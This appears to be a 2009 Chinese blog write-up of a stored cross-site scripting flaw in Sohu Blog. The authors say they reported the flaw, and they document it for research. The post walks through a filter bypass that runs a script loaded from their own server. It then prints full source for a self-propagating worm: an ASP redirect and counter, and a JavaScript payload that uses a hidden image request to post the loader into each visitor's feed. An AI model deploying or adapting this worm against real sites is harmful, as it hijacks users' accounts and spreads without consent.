搜狐博客蠕虫
|
来源:http://www.0x201.cn/ 作者:Demon 发布时间:2009-07-30
|
|
作者:Demon[S.C.T] & Moyo[S.C.T]
来源:http://www.0x201.cn/ Moyo’s blog Http://www.hackdemon.cn/ Demon’s blog
前言:此漏洞已经上报给搜狐工作人员,此文章作为研究使用。最后感谢Moyo大哥技术的大力支持。
一. 羁绊 前天在挖掘搜狐博客xss漏洞时候发现在最新动态模块里面未作仍和过滤,导致xss产生,但是说来也奇怪,为什么这么明显的地方却没有做任何过滤呢?实际上我们刚开始想他利用起来也比较麻烦,我们先直接输入<script>alert(/xss/);</script> 是能够有效果的,如图:
但是我在测试时候发现不能引入外部JS。当时我确实不知道问题出在哪里,后来我输入了iframe ,发现下面出现元素未闭合的现象,且框架内的网站显示not found ,后来才发现,原来系统把SRC替换成了< a href ,无论SRC编码还是换大小写都没用,有够奇怪的,想了很久,终于想出个能有引入外部JS的办法。也许是运气好,Moyo想出了在博客的副标题上填入的文字将写入一个ID为blogDesc的 DIV元素内,这样我们就能引入外部JS了,我们先在副标题上填入: document.getElementsByTagName('script')[0].setAttribute('src','http://www.safe-code.net/xss.js'); 则源代码所显示为: <div id="blogDesc">document.getElementsByTagName('script')[0].setAttribute('src','http://www.safe-code.net/xss.js');</div> </div> 是插入了一个DIV元素内, 下面我们就在一句话博客中(xss处)输入: <script>eval(document.getElementById('blogDesc').innerHTML);</script> 执行DIV元素内的语句就能够执行外部JS的JavaScript了。结果如图:
可是这样一来,写xss蠕虫要利用就显得非常难了。 经过我和Moyo大哥一天的讨论,终于Moyo大哥使出了浑身绝技,最后不用这样的办法来引入js也能达到传染的效果,意思就是说不用引入js,我们直接把数据提交给一个asp文件即可,这样副标题处也不用修改了。
二. 攻破 我们在母体(也就是我们的博客)副标题出写入:document.getElementsByTagName('script') [0].setAttribute('src',' http://www.0x201.cn/moyo/xss.asp');然后在执行此语句,在最新动态模块处写入: <script>eval(document.getElementById('blogDesc').innerHTML);</script> 这样就引入了一个asp文件,我们看看xss.asp代码: -------------------------- //xss.asp <% @Language = 'Javascript' %> <% if (Request.Cookies('is_xss_ed') != '') { Response.Redirect('xss2.js?'+(new Date()).getTime()); } Response.Cookies('is_xss_ed') = 'ye'; if (!Application('xss_views')) { Application('xss_views') = 0; } Application('xss_views') += 1; Response.Redirect('xss.js?'+(new Date()).getTime()); %> 如果cookie变量 is_xss_ed为空,就重定向为了xss2.js 、xss2.js的代码为: window.onerror = function() { return true; }
document.getElementById('blogDesc').innerHTML = ' ~ Moyo , Demon 到此一游 ~ ~';
这就是个改副标题的代码,纯属恶作剧。 后面设置了个cookie变量,来防止感染者重新被感染,而后写进了一个xss_views.asp文件,是一个记录xss次数的文件,最后一句重定向为了xss.js文件,这个是感染文件,我们看下代码:
------------- //xss.js window.onerror = function() { return true; }
document.getElementById('blogDesc').innerHTML = ' ~ Moyo , Demon 到此一游 ~ ~';
var moyo_str = '<script>document.getElementsByTagName(\'script\')[0].setAttribute(\'s\'+\'rc\',\'ht\'+\'tp://ww\'+\'w.0x201.cn/moyo/xss.asp\');</script>'; function moyo_write() { var img = document.createElement('img'); img.setAttribute('src', 'http://mnf.blog.sohu.com/post?type=add&vn='+(new Date()).getTime()+'&xpp='+getXP()+'&content='+encodeURIComponent(moyo_str)); img.style.display = 'none'; document.body.appendChild(img); } moyo_write();
前面的就不说了,关键看moyo_write()函数,感染者浏览后执行xss.js内容,而函数就是创建一个img元素,通过设置src目标来修改被感染者的最新动态的内容,而最新动态的添加方式比较变态- -|| 后来研究发现vn和xpp这两个变量是通过系统的函数定义的,我们找到了函数,即:vn='+(new Date()).getTime()+'&xpp='+getXP()+'&content='+encodeURIComponent(moyo_str))
moyo_str就是添加动态的内容了,是个连接asp的文件,而后被感染者也成为感染者,至此蠕虫就诞生了,蹬蹬蹬蹬~~. 文章写的有点乱,涉及到了3个文件,大家请脑子有点昏的理清下头脑,呵呵、最后感谢各位看官观看。。Demon和Moyo在此谢谢各位。
测试地址:http://xssmoyo.blog.sohu.com/ http://demonxss.blog.sohu.com/
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|